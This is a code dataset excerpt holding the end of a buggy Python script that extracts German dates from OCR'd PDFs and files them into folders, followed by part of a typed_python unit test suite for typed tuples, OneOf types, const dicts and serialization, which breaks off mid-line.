\"10\" \n ] , [\n \"November\",\"november\", \"11\" \n ] , [\n \"Dezember\",\"dezember\", \"12\" \n ]\n ]\n\n month_list = ['Januar', 'januar', 'Februar', 'februar', 'März', 'märz', 'April', 'mai', 'Mai',\n 'juni', 'Juni', 'juli', 'Juli', 'august', 'August', 'September',\n 'september', 'oktober', 'Oktober', 'november', 'November', 'dezember', 'Dezember']\n dd_mm_yyyy_pattern = \"\\d{2}.\\d{2}.\\d{4}\"\n dd_mm_yyyy_pattern2 = \"\\d{2}-\\d{2}-\\d{4}\"\n yyyy_mm_dd_pattern = \"\\d{4}.\\d{2}.\\d{2}\"\n yyyy_mm_dd_pattern2 = \"\\d{4}-\\d{2}-\\d{2}\"\n date_list = []\n date_list_ausgeschrieben = []\n date_list += search_date(dd_mm_yyyy_pattern, text)\n date_list += search_date(dd_mm_yyyy_pattern2, text)\n date_list += search_date(yyyy_mm_dd_pattern, text)\n date_list += search_date(yyyy_mm_dd_pattern2, text)\n\n # Mit ausgeschrieben Monat und .FYI I know Dennis regex richtig nutzen. Dont tell me ok? \n for month in month_list:\n date_list_ausgeschrieben += search_date(\"\\d{2}.\" + month + \" \\d{4}\", text)\n date_list_ausgeschrieben += search_date(\"\\d{2}-\" + month + \"-\\d{4}\", text)\n date_list_ausgeschrieben += search_date(\"\\d{2}\" + month + \"\\d{4}\", text)\n date_list_ausgeschrieben += search_date(\"\\d{2}.\" + month + \"\\d{4}\", text)\n date_list_ausgeschrieben += search_date(\"\\d{1}.\" + month + \"\\d{4}\", text) #TODO add zero\n\n\n for date in date_list_ausgeschrieben: # für jedes gefundene datum\n for month in months: # suche jeweils eine liste pro Monat raus\n if month.index(0) in date: # Checke ob Mmonat großgeschrieben\n date.replace(month.index(0), month.index(2)) \n continue\n if month.index(1) in date: #Checke ob Monat kleingeschrieben\n date.replace(month.index(1), month.index(2))\n\n date_list += date_list_ausgeschrieben\n print(date_list+\"hello\")\n return date_list #Schmeißt sofort alle duplikate raus\n\n\ndef search_date(pattern, text):\n dates = re.findall(pattern, text)\n new_dates = []\n if dates:\n for date in dates:\n new_dates.append(date.replace(\".\", \"-\"))\n print(new_dates)\n return list(dict.fromkeys(new_dates))\n\n\n# Save after editing\ndef save_Final(data): \n # If folder doesnt exist, create it. Afterwards add file with count if alrady existing \n if (os.path.isdir(DOCUMENT_PATH + data[\"project\"]) is False):\n os.mkdir(DOCUMENT_PATH + data[\"project\"])\n\n if (os.path.isdir(DOCUMENT_PATH + data[\"project\"] + '/' + data[\"category\"]) is False):\n os.mkdir(DOCUMENT_PATH + data[\"project\"] + '/' + data[\"category\"])\n\n if (os.path.isdir(DOCUMENT_PATH + data[\"project\"] + '/' + data[\"category\"] + '/' + data[\"company\"]) is False):\n os.mkdir(DOCUMENT_PATH + data[\"project\"] + '/' + data[\"category\"] + '/' + data[\"company\"])\n\n #Save with counter \n dirs = os.listdir(DOCUMENT_PATH + data[\"project\"] + '/' + data[\"category\"] + '/' + data[\"company\"])\n counter = len(dirs) + 1\n shutil.move (TEMP_PATH + data[\"id\"] + \".pdf\",\n DOCUMENT_PATH + data[\"project\"] + '/' + data[\"category\"] + '/' + data[\"company\"] + \"/\" + data[\n \"date\"] + \"_\"+ str(counter) + \".pdf\")\n\n\nif __name__ == \"__main__\":\n\n logging.getLogger(\"main\").info(\"start\")\n\n webapp = threading.Thread(target=webapp.run)\n webapp.daemon = True\n webapp.start()\n while True:\n logging.getLogger(\"main\").info(\"check for new files\")\n file_list = read_files()\n get_Info(file_list)\n sleep(5)\n", "sub_path": ".history/main_20210809225312.py", "file_name": "main_20210809225312.py", "file_ext": "py", "file_size_in_byte": 8887, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.basicConfig", "line_number": 22, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 22, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 38, "usage_type": "call"}, {"api_name": "shutil.move", "line_number": 42, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 54, "usage_type": "call"}, {"api_name": "shutil.copyfile", "line_number": 57, "usage_type": "call"}, {"api_name": "pytesseract.image_to_string", "line_number": 61, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 61, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 61, "usage_type": "name"}, {"api_name": "os.path.isfile", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 64, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 66, "usage_type": "call"}, {"api_name": "os.path", "line_number": 66, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 67, "usage_type": "call"}, {"api_name": "json.load", "line_number": 74, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 79, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 82, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 89, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 90, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 91, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 107, "usage_type": "call"}, {"api_name": "json.load", "line_number": 111, "usage_type": "call"}, {"api_name": "json.load", "line_number": 124, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 127, "usage_type": "call"}, {"api_name": "json.load", "line_number": 132, "usage_type": "call"}, {"api_name": "json.load", "line_number": 139, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 142, "usage_type": "call"}, {"api_name": "json.load", "line_number": 147, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 154, "usage_type": "call"}, {"api_name": "pdf2image.convert_from_path", "line_number": 165, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 235, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 247, "usage_type": "call"}, {"api_name": "os.path", "line_number": 247, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 248, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 250, "usage_type": "call"}, {"api_name": "os.path", "line_number": 250, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 251, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 253, "usage_type": "call"}, {"api_name": "os.path", "line_number": 253, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 254, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 257, "usage_type": "call"}, {"api_name": "shutil.move", "line_number": 259, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 266, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 268, "usage_type": "call"}, {"api_name": "webapp.run", "line_number": 268, "usage_type": "attribute"}, {"api_name": "webapp.daemon", "line_number": 269, "usage_type": "attribute"}, {"api_name": "webapp.start", "line_number": 270, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 272, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 275, "usage_type": "call"}]} {"seq_id": "502008978", "text": "# Coyright 2017-2019 Nativepython Authors\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom typed_python import (\n Bool,\n Int8, Int16, Int32, Int64,\n UInt8, UInt16, UInt32, UInt64,\n Float32, Float64,\n NoneType, TupleOf, ListOf, OneOf, Tuple, NamedTuple, Dict,\n ConstDict, Alternative, serialize, deserialize, Class, Member,\n TypeFilter, Function, Forward\n)\n\nfrom typed_python.test_util import currentMemUsageMb\nimport typed_python._types as _types\nimport psutil\nimport unittest\nimport time\nimport numpy\nimport os\n\n\ndef typeFor(t):\n assert not isinstance(t, list), t\n return type(t)\n\n\ndef typeForSeveral(t):\n ts = set(typeFor(a) for a in t)\n if len(ts) == 1:\n return list(ts)[0]\n return OneOf(*ts)\n\n\ndef makeTupleOf(*args):\n if not args:\n return TupleOf(int)()\n return TupleOf(typeForSeveral(args))(args)\n\n\ndef makeNamedTuple(**kwargs):\n if not kwargs:\n return NamedTuple()()\n return NamedTuple(**{k: typeFor(v) for k, v in kwargs.items()})(**kwargs)\n\n\ndef makeTuple(*args):\n if not args:\n return Tuple()()\n return Tuple(*[typeFor(v) for v in args])(args)\n\n\ndef makeDict(d):\n if not d:\n return ConstDict(int, int)()\n\n return ConstDict(typeForSeveral(d.keys()), typeForSeveral(d.values()))(d)\n\n\ndef makeAlternative(severalDicts):\n types = list(\n set(\n tuple(\n (k, typeFor(v)) for k, v in ntDict.items()\n )\n for ntDict in severalDicts\n )\n )\n\n alt = Alternative(\"Alt\", **{\n \"a_%s\" % i: dict(types[i]) for i in range(len(types))\n })\n\n res = []\n for thing in severalDicts:\n did = False\n for i in range(len(types)):\n try:\n res.append(getattr(alt, \"a_%s\" % i)(**thing))\n did = True\n except Exception:\n pass\n\n if did:\n break\n assert len(res) == len(severalDicts)\n\n return res\n\n\ndef choice(x):\n # numpy.random.choice([1,(1,2)]) blows up because it looks 'multidimensional'\n # so we have to pick from a list of indices\n if not isinstance(x, list):\n x = list(x)\n return x[numpy.random.choice(list(range(len(x))))]\n\n\nclass RandomValueProducer:\n def __init__(self):\n self.levels = {0: [b'1', b'', '2', '', 0, 1, 0.0, 1.0, None, False, True, \"a \", \"a string\", \"b string\", \"b str\"]}\n\n def addEvenly(self, levels, count):\n for level in range(1, levels+1):\n self.addValues(level, count)\n\n def all(self):\n res = []\n for valueList in self.levels.values():\n res.extend(valueList)\n return res\n\n def addValues(self, level, count, sublevels=None):\n assert level > 0\n\n if sublevels is None:\n sublevels = list(range(level))\n sublevels = [x for x in sublevels if x in self.levels]\n\n assert sublevels\n\n def picker():\n whichLevel = choice(sublevels)\n try:\n return choice(self.levels[whichLevel])\n except Exception:\n print(self.levels[whichLevel])\n raise\n\n for _ in range(count):\n val = self.randomValue(picker)\n if not isinstance(val, list):\n val = [val]\n self.levels.setdefault(level, []).extend(val)\n\n def randomValue(self, picker):\n def randomTuple():\n return makeTuple(*[picker() for i in range(choice([0, 1, 2, 3, 4]))])\n\n def randomNamedTupleDict():\n return {\"x_%s\" % i: picker() for i in range(choice([0, 1, 2, 3, 4]))}\n\n def randomNamedTuple():\n return makeNamedTuple(**randomNamedTupleDict())\n\n def randomDict():\n return makeDict({picker(): picker() for i in range(choice([0, 1, 2, 3, 4]))})\n\n def randomTupleOf():\n return makeTupleOf(*[picker() for i in range(choice([0, 1, 2, 3, 4]))])\n\n def randomAlternative():\n return makeAlternative([randomNamedTupleDict() for i in range(choice([1, 2, 3, 4]))])\n\n return choice([randomTuple, randomNamedTuple, randomDict, randomTupleOf, randomAlternative, picker])()\n\n def pickRandomly(self):\n return choice(self.levels[choice(list(self.levels))])\n\n\nclass NativeTypesTests(unittest.TestCase):\n\n def check_expected_performance(self, elapsed, expected=1.0):\n if os.environ.get('TRAVIS_CI', None) is not None:\n expected = 2 * expected\n\n self.assertTrue(\n elapsed < expected,\n \"Slow Performance: expected to take {expected} sec, but took {elapsed}\"\n .format(expected=expected, elapsed=elapsed)\n )\n\n def test_objects_are_singletons(self):\n self.assertTrue(Int8 is Int8)\n self.assertTrue(NoneType is NoneType)\n\n def test_object_binary_compatibility(self):\n ibc = _types.isBinaryCompatible\n\n self.assertTrue(ibc(NoneType, NoneType))\n self.assertTrue(ibc(Int8, Int8))\n\n NT = NamedTuple(a=int, b=int)\n\n class X(NamedTuple(a=int, b=int)):\n pass\n\n class Y(NamedTuple(a=int, b=int)):\n pass\n\n self.assertTrue(ibc(X, X))\n self.assertTrue(ibc(X, Y))\n self.assertTrue(ibc(X, NT))\n self.assertTrue(ibc(Y, NT))\n self.assertTrue(ibc(NT, Y))\n\n self.assertFalse(ibc(OneOf(int, float), OneOf(float, int)))\n self.assertTrue(ibc(OneOf(int, X), OneOf(int, Y)))\n\n def test_binary_compatibility_incompatible_alternatives(self):\n ibc = _types.isBinaryCompatible\n\n A1 = Alternative(\"A1\", X={'a': int}, Y={'b': float})\n A2 = Alternative(\"A2\", X={'a': int}, Y={'b': str})\n\n self.assertTrue(ibc(A1, A1.X))\n self.assertTrue(ibc(A1, A1.Y))\n self.assertTrue(ibc(A1.Y, A1.Y))\n self.assertTrue(ibc(A1.Y, A1))\n self.assertTrue(ibc(A1.X, A1))\n self.assertFalse(ibc(A1.X, A1.Y))\n\n self.assertFalse(ibc(A1, A2))\n self.assertFalse(ibc(A1.X, A2.X))\n self.assertFalse(ibc(A1.Y, A2.Y))\n\n def test_binary_compatibility_compatible_alternatives(self):\n ibc = _types.isBinaryCompatible\n\n A1 = Alternative(\"A1\", X={'a': int}, Y={'b': float})\n A2 = Alternative(\"A2\", X={'a': int}, Y={'b': float})\n\n self.assertTrue(ibc(A1.X, A2.X))\n self.assertTrue(ibc(A1.Y, A2.Y))\n\n self.assertFalse(ibc(A1.X, A2.Y))\n self.assertFalse(ibc(A1.Y, A2.X))\n\n def test_callable_alternatives(self):\n def myCall(self):\n if self.matches.One:\n return 1\n elif self.matches.Two:\n return 2\n else:\n raise TypeError(\"Unexpected alternative kind\")\n\n alt = Alternative(\"alts\", One={}, Two={}, __call__=myCall)\n\n one = alt.One()\n self.assertEqual(one(), 1)\n\n two = alt.Two()\n self.assertEqual(two(), 2)\n\n alt = Alternative(\"alts\", One={}, Two={}, myCall=myCall)\n with self.assertRaises(TypeError):\n one = alt.One()\n one()\n\n with self.assertRaises(TypeError):\n two = alt.Two()\n two()\n\n def test_callable_class(self):\n class CallableClass(Class):\n x = Member(int)\n\n def __call__(self, x):\n return self.x + x\n\n def __call__(self): # noqa: F811\n return -1\n\n class RegularClass(Class):\n x = Member(int)\n\n def call(self, x):\n return self.x + x\n\n obj = CallableClass(x=42)\n self.assertEqual(obj(0), 42)\n self.assertEqual(obj(1), 43)\n self.assertEqual(obj(), -1 )\n\n exceptionMsg = \"Cannot find a valid overload of '__call__' with arguments of type\"\n with self.assertRaisesRegex(TypeError, exceptionMsg):\n obj(1, 2, 3)\n\n obj = RegularClass(x=42)\n self.assertEqual(obj.call(5), 47)\n with self.assertRaises(TypeError):\n obj()\n\n def test_object_bytecounts(self):\n self.assertEqual(_types.bytecount(NoneType), 0)\n self.assertEqual(_types.bytecount(Int8), 1)\n self.assertEqual(_types.bytecount(Int64), 8)\n\n def test_type_stringification(self):\n for t in ['Int8', 'NoneType']:\n self.assertEqual(str(getattr(_types, t)()), \"\" % t)\n\n def test_tuple_of(self):\n tupleOfInt = TupleOf(int)\n i = tupleOfInt(())\n i = tupleOfInt((1, 2, 3))\n\n self.assertEqual(len(i), 3)\n self.assertEqual(tuple(i), (1, 2, 3))\n\n for x in range(10):\n self.assertEqual(\n tuple(tupleOfInt(tuple(range(x)))),\n tuple(range(x))\n )\n\n with self.assertRaisesRegex(AttributeError, \"do not accept attributes\"):\n tupleOfInt((1, 2, 3)).x = 2\n\n def test_one_of_alternative(self):\n X = Alternative(\"X\", V={'a': int})\n Ox = OneOf(None, X)\n\n self.assertEqual(Ox(X.V(a=10)), X.V(a=10))\n\n def test_one_of_py_subclass(self):\n class X(NamedTuple(x=int)):\n def f(self):\n return self.x\n\n Ox = OneOf(None, X)\n\n self.assertEqual(NamedTuple(x=int)(x=10).x, 10)\n self.assertEqual(X(x=10).f(), 10)\n self.assertEqual(Ox(X(x=10)).f(), 10)\n\n def test_one_of_distinguishes_py_subclasses(self):\n class X(NamedTuple(x=int)):\n def f(self):\n return self.x\n\n class X2(NamedTuple(x=int)):\n def f(self):\n return self.x + 2\n\n XorX2 = OneOf(X, X2)\n\n self.assertTrue(isinstance(XorX2(X()), X))\n self.assertTrue(isinstance(XorX2(X2()), X2))\n\n def test_tuple_of_tuple_of(self):\n tupleOfInt = TupleOf(int)\n tupleOfTupleOfInt = TupleOf(tupleOfInt)\n\n pyVersion = (1, 2, 3), (1, 2, 3, 4)\n nativeVersion = tupleOfTupleOfInt(pyVersion)\n\n self.assertEqual(len(nativeVersion), 2)\n self.assertEqual(len(nativeVersion[0]), 3)\n self.assertEqual(tuple(tuple(x) for x in nativeVersion), pyVersion)\n\n bigTup = tupleOfInt(list(range(1000)))\n\n t0 = time.time()\n t = (bigTup, bigTup, bigTup, bigTup, bigTup)\n for i in range(1000000):\n tupleOfTupleOfInt(t)\n\n elapsed = time.time() - t0\n print(\"Took \", elapsed, \" to do 1mm\")\n self.check_expected_performance(elapsed)\n\n def test_default_initializer_oneof(self):\n x = OneOf(None, int)\n self.assertTrue(x() is None, repr(x()))\n\n def test_tuple_of_various_things(self):\n for thing, typeOfThing in [(\"hi\", str), (b\"somebytes\", bytes),\n (1.0, float), (2, int),\n (None, type(None))\n ]:\n tupleType = TupleOf(typeOfThing)\n t = tupleType((thing,))\n self.assertTrue(type(t[0]) is typeOfThing)\n self.assertEqual(t[0], thing)\n\n def test_tuple_assign_fails(self):\n with self.assertRaisesRegex(TypeError, \"does not support item assignment\"):\n (1, 2, 3)[10] = 20\n with self.assertRaisesRegex(TypeError, \"does not support item assignment\"):\n TupleOf(int)((1, 2, 3))[10] = 20\n\n def test_list_of(self):\n L = ListOf(int)\n self.assertEqual(L.__qualname__, \"ListOf(Int64)\")\n\n l1 = L([1, 2, 3, 4])\n\n self.assertEqual(l1[0], 1)\n self.assertEqual(l1[-1], 4)\n\n l1[0] = 10\n self.assertEqual(l1[0], 10)\n\n l1[-1] = 11\n self.assertEqual(l1[3], 11)\n\n with self.assertRaisesRegex(IndexError, \"index out of range\"):\n l1[100] = 20\n\n l2 = L((10, 2, 3, 11))\n\n self.assertEqual(l1, l2)\n self.assertNotEqual(l1, (10, 2, 3, 11))\n self.assertEqual(l1, [10, 2, 3, 11])\n\n self.assertEqual(str(l1), str([10, 2, 3, 11]))\n\n l3 = l1 + l2\n self.assertEqual(l3, [10, 2, 3, 11, 10, 2, 3, 11])\n\n l3.append(23)\n self.assertEqual(l3, [10, 2, 3, 11, 10, 2, 3, 11, 23])\n\n def test_list_resize(self):\n l1 = ListOf(TupleOf(int))()\n\n l1.resize(10)\n self.assertEqual(l1.reserved(), 10)\n self.assertEqual(len(l1), 10)\n\n emptyTup = TupleOf(int)()\n aTup = TupleOf(int)((1, 2, 3))\n\n self.assertEqual(list(l1), [emptyTup] * 10)\n l1.resize(20, aTup)\n self.assertEqual(list(l1), [emptyTup] * 10 + [aTup] * 10)\n\n self.assertEqual(_types.refcount(aTup), 11)\n\n self.assertEqual(l1.pop(15), aTup)\n self.assertEqual(l1.pop(5), emptyTup)\n\n self.assertEqual(_types.refcount(aTup), 10)\n\n l1.resize(15)\n\n with self.assertRaises(IndexError):\n l1.pop(100)\n\n self.assertEqual(_types.refcount(aTup), 7) # 6 in the list because we popped at '5'\n\n l1.pop()\n\n self.assertEqual(_types.refcount(aTup), 6)\n\n # this pops one of the empty tuples\n l1.pop(-10)\n\n self.assertEqual(_types.refcount(aTup), 6)\n\n l1.clear()\n self.assertEqual(len(l1), 0)\n\n def test_one_of(self):\n o = OneOf(None, str)\n\n self.assertEqual(o(\"hi\"), \"hi\")\n self.assertTrue(o(None) is None)\n\n o = OneOf(None, \"hi\", 1.5, 1, True, b\"hi2\")\n\n self.assertTrue(o(None) is None)\n self.assertTrue(o(\"hi\") == \"hi\")\n self.assertTrue(o(b\"hi2\") == b\"hi2\")\n self.assertTrue(o(1.5) == 1.5)\n self.assertTrue(o(1) == 1)\n self.assertIs(o(True), True)\n\n with self.assertRaises(TypeError):\n o(\"hi2\")\n with self.assertRaises(TypeError):\n o(b\"hi\")\n with self.assertRaises(TypeError):\n o(3)\n with self.assertRaises(TypeError):\n o(False)\n\n def test_ordering(self):\n o = OneOf(None, \"hi\", 1.5, 1, True, b\"hi2\")\n\n self.assertIs(o(True), True)\n\n def test_one_of_flattening(self):\n self.assertEqual(OneOf(OneOf(None, 1.0), OneOf(2.0, 3.0)), OneOf(None, 1.0, 2.0, 3.0))\n\n def test_one_of_order_matters(self):\n self.assertNotEqual(OneOf(1.0, 2.0), OneOf(2.0, 1.0))\n\n def test_type_filter(self):\n EvenInt = TypeFilter(int, lambda i: i % 2 == 0)\n\n self.assertTrue(isinstance(2, EvenInt))\n self.assertFalse(isinstance(1, EvenInt))\n self.assertFalse(isinstance(2.0, EvenInt))\n\n EvenIntegers = TupleOf(EvenInt)\n\n e = EvenIntegers(())\n e2 = e + (2, 4, 0)\n\n with self.assertRaises(TypeError):\n EvenIntegers((1,))\n\n with self.assertRaises(TypeError):\n e2 + (1,)\n\n def test_tuple_of_one_of_fixed_size(self):\n t = TupleOf(OneOf(0, 1, 2, 3, 4))\n\n ints = tuple([x % 5 for x in range(1000000)])\n\n typedInts = t(ints)\n\n self.assertEqual(len(serialize(t, typedInts)), len(ints) * 2 + 6) # 3 bytes for extra flags\n self.assertEqual(tuple(typedInts), ints)\n\n def test_tuple_of_one_of_multi(self):\n t = TupleOf(OneOf(int, bool))\n\n someThings = tuple([100 + x % 5 if x % 17 != 0 else bool(x%19) for x in range(1000000)])\n\n typedThings = t(someThings)\n\n self.assertEqual(\n len(serialize(t, typedThings)),\n sum(3 if isinstance(t, bool) else 4 for t in someThings) +\n 2 + # two bytes for begin / end flags\n 2 + # two bytes for the id\n 2 # two bytes for the size\n )\n\n self.assertEqual(tuple(typedThings), someThings)\n\n def test_compound_oneof(self):\n producer = RandomValueProducer()\n producer.addEvenly(1000, 2)\n\n for _ in range(1000):\n vals = (producer.pickRandomly(), producer.pickRandomly(), producer.pickRandomly())\n\n a = OneOf(vals[0], vals[1], type(vals[2]))\n\n for v in vals:\n self.assertEqual(a(v), v, (a(v), v))\n\n tup = TupleOf(a)\n tupInst = tup(vals)\n\n for i in range(len(vals)):\n self.assertEqual(tupInst[i], vals[i], vals)\n\n def test_one_of_conversion_failure(self):\n o = OneOf(None, str)\n\n with self.assertRaises(TypeError):\n o(b\"bytes\")\n\n def test_one_of_in_tuple(self):\n t = Tuple(OneOf(None, str), str)\n\n self.assertEqual(t((\"hi\", \"hi2\"))[0], \"hi\")\n self.assertEqual(t((\"hi\", \"hi2\"))[1], \"hi2\")\n self.assertEqual(t((None, \"hi2\"))[1], \"hi2\")\n self.assertEqual(t((None, \"hi2\"))[0], None)\n with self.assertRaises(TypeError):\n t((None, None))\n with self.assertRaises(IndexError):\n t((None, \"hi2\"))[2]\n\n def test_one_of_composite(self):\n t = OneOf(TupleOf(str), TupleOf(float))\n\n self.assertIsInstance(t((1.0, 2.0)), TupleOf(float))\n self.assertIsInstance(t((\"1.0\", \"2.0\")), TupleOf(str))\n\n with self.assertRaises(TypeError):\n t((1.0, \"2.0\"))\n\n def test_named_tuple(self):\n t = NamedTuple(a=int, b=int)\n\n with self.assertRaisesRegex(AttributeError, \"object has no attribute\"):\n t().asdf\n\n with self.assertRaisesRegex(AttributeError, \"immutable\"):\n t().a = 1\n\n self.assertEqual(t()[0], 0)\n self.assertEqual(t().a, 0)\n self.assertEqual(t()[1], 0)\n\n self.assertEqual(t(a=1, b=2).a, 1)\n self.assertEqual(t(a=1, b=2).b, 2)\n\n def test_named_tuple_construction(self):\n t = NamedTuple(a=int, b=int)\n\n self.assertEqual(t(a=10).a, 10)\n self.assertEqual(t(a=10).b, 0)\n self.assertEqual(t(a=10, b=2).a, 10)\n self.assertEqual(t(a=10, b=2).b, 2)\n self.assertEqual(t({'a': 10, 'b': 2}).a, 10)\n self.assertEqual(t({'a': 10, 'b': 2}).b, 2)\n\n self.assertEqual(t({'b': 2}).a, 0)\n self.assertEqual(t({'b': 2}).b, 2)\n\n with self.assertRaises(TypeError):\n t({'c': 10})\n with self.assertRaises(TypeError):\n t(c=10)\n\n def test_named_tuple_str(self):\n t = NamedTuple(a=str, b=str)\n\n self.assertEqual(t(a='1', b='2').a, '1')\n self.assertEqual(t(a='1', b='2').b, '2')\n\n self.assertEqual(t(b='2').a, '')\n self.assertEqual(t(b='2').b, '2')\n self.assertEqual(t().a, '')\n self.assertEqual(t().b, '')\n\n def test_tuple_of_string_perf(self):\n t = NamedTuple(a=str, b=str)\n\n t0 = time.time()\n for i in range(1000000):\n t(a=\"a\", b=\"b\").a\n\n elapsed = time.time() - t0\n print(\"Took \", elapsed, \" to do 1mm\")\n self.check_expected_performance(elapsed)\n\n def test_comparisons_in_one_of(self):\n t = OneOf(None, float)\n\n def map(x):\n if x is None:\n return -1000000.0\n else:\n return x\n\n lt = lambda a, b: map(a) < map(b)\n le = lambda a, b: map(a) <= map(b)\n eq = lambda a, b: map(a) == map(b)\n ne = lambda a, b: map(a) != map(b)\n gt = lambda a, b: map(a) > map(b)\n ge = lambda a, b: map(a) >= map(b)\n\n funcs = [lt, le, eq, ne, gt, ge]\n ts = [None, 1.0, 2.0, 3.0]\n\n for f in funcs:\n for t1 in ts:\n for t2 in ts:\n self.assertTrue(f(t1, t2) is f(t(t1), t(t2)))\n\n def test_comparisons_equivalence(self):\n t = TupleOf(OneOf(None, str, bytes, float, int, bool, TupleOf(int)),)\n\n def lt(a, b):\n return a < b\n\n def le(a, b):\n return a <= b\n\n def eq(a, b):\n return a == b\n\n def ne(a, b):\n return a != b\n\n def gt(a, b):\n return a > b\n\n def ge(a, b):\n return a >= b\n\n funcs = [lt, le, eq, ne, gt, ge]\n\n tgroups = [\n [1.0, 2.0, 3.0],\n [1, 2, 3],\n [True, False],\n [\"a\", \"b\", \"ab\", \"bb\", \"ba\", \"aaaaaaa\", \"\", \"asdf\"],\n [\"1\", \"2\", \"3\", \"12\", \"13\", \"23\", \"24\", \"123123\", \"0\", \"\"],\n [b\"a\", b\"b\", b\"ab\", b\"bb\", b\"ba\", b\"aaaaaaa\", b\"\", b\"asdf\"],\n [(1, 2), (1, 2, 3), (), (1, 1), (1,)]\n ]\n\n for ts in tgroups:\n for f in funcs:\n for t1 in ts:\n for t2 in ts:\n self.assertTrue(\n f(t1, t2) is f(t((t1,)), t((t2,))),\n (f, t1, t2, f(t1, t2), f(t((t1,)), t((t2,))))\n )\n\n def test_const_dict(self):\n t = ConstDict(str, str)\n\n self.assertEqual(len(t()), 0)\n self.assertEqual(len(t({})), 0)\n self.assertEqual(len(t({'a': 'b'})), 1)\n self.assertEqual(t({'a': 'b'})['a'], 'b')\n self.assertEqual(t({'a': 'b', 'b': 'c'})['b'], 'c')\n\n self.assertTrue(\"a\" in deserialize(t, serialize(t, t({'a': 'b'}))))\n\n self.assertTrue(\"a\" in deserialize(t, serialize(t, t({'a': 'b', 'b': 'c'}))))\n self.assertTrue(\"a\" in deserialize(t, serialize(t, t({'a': 'b', 'b': 'c', 'c': 'd'}))))\n self.assertTrue(\"a\" in deserialize(t, serialize(t, t({'a': 'b', 'b': 'c', 'c': 'd', 'd': 'e'}))))\n self.assertTrue(\"c\" in deserialize(t, serialize(t, t({'a': 'b', 'b': 'c', 'c': 'd', 'def': 'e'}))))\n self.assertTrue(\"def\" in deserialize(t, serialize(t, t({'a': 'b', 'b': 'c', 'c': 'd', 'def': 'e'}))))\n\n def test_const_dict_get(self):\n a = ConstDict(str, str)({'a': 'b', 'c': 'd'})\n\n self.assertEqual(a.get('a'), 'b')\n self.assertEqual(a.get('asdf'), None)\n self.assertEqual(a.get('asdf', 20), 20)\n\n def test_const_dict_items_keys_and_values(self):\n a = ConstDict(str, str)({'a': 'b', 'c': 'd'})\n\n self.assertEqual(sorted(a.items()), [('a', 'b'), ('c', 'd')])\n self.assertEqual(sorted(a.keys()), ['a', 'c'])\n self.assertEqual(sorted(a.values()), ['b', 'd'])\n\n def test_empty_string(self):\n a = ConstDict(str, str)({'a': ''})\n\n print(a['a'])\n\n def test_dict_to_oneof(self):\n t = ConstDict(str, OneOf(\"A\", \"B\", \"ABCDEF\"))\n a = t({'a': 'A', 'b': 'ABCDEF'})\n\n self.assertEqual(a['a'], \"A\")\n self.assertEqual(a['b'], \"ABCDEF\")\n\n self.assertEqual(a, deserialize(t, serialize(t, a)))\n\n def test_deserialize_primitive(self):\n x = deserialize(str, serialize(str, \"a\"))\n self.assertTrue(isinstance(x, str))\n\n def test_dict_containment(self):\n for _ in range(100):\n producer = RandomValueProducer()\n producer.addEvenly(20, 2)\n\n values = producer.all()\n\n for v in values:\n if str(type(v))[:17] == \" last_k, (k, last_k)\n last_k = k\n\n def test_const_dict_lookup_time(self):\n int_dict = ConstDict(int, int)\n\n d = int_dict({k: k for k in range(1000000)})\n\n for k in range(1000000):\n self.assertTrue(k in d)\n self.assertTrue(d[k] == k)\n\n def test_const_dict_of_dict(self):\n int_dict = ConstDict(int, int)\n int_dict_2 = ConstDict(int_dict, int_dict)\n\n d = int_dict({1: 2})\n d2 = int_dict({1: 2, 3: 4})\n\n big = int_dict_2({d: d2})\n\n self.assertTrue(d in big)\n self.assertTrue(d2 not in big)\n self.assertTrue(big[d] == d2)\n\n def test_dict_hash_perf(self):\n str_dict = ConstDict(str, str)\n\n s = str_dict({'a' * 1000000: 'b' * 1000000})\n\n t0 = time.time()\n for k in range(1000000):\n hash(s)\n\n elapsed = time.time() - t0\n print(elapsed, \" to do 1mm\")\n self.check_expected_performance(elapsed)\n\n def test_mutable_dict_not_hashable(self):\n with self.assertRaisesRegex(Exception, \"not hashable\"):\n hash(Dict(int, int)())\n\n def test_const_dict_str_perf(self):\n t = ConstDict(str, str)\n\n t0 = time.time()\n for i in range(100000):\n t({str(k): str(k+1) for k in range(10)})\n\n elapsed = time.time() - t0\n print(\"Took \", elapsed, \" to do 1mm\")\n self.check_expected_performance(elapsed)\n\n def test_const_dict_int_perf(self):\n t = 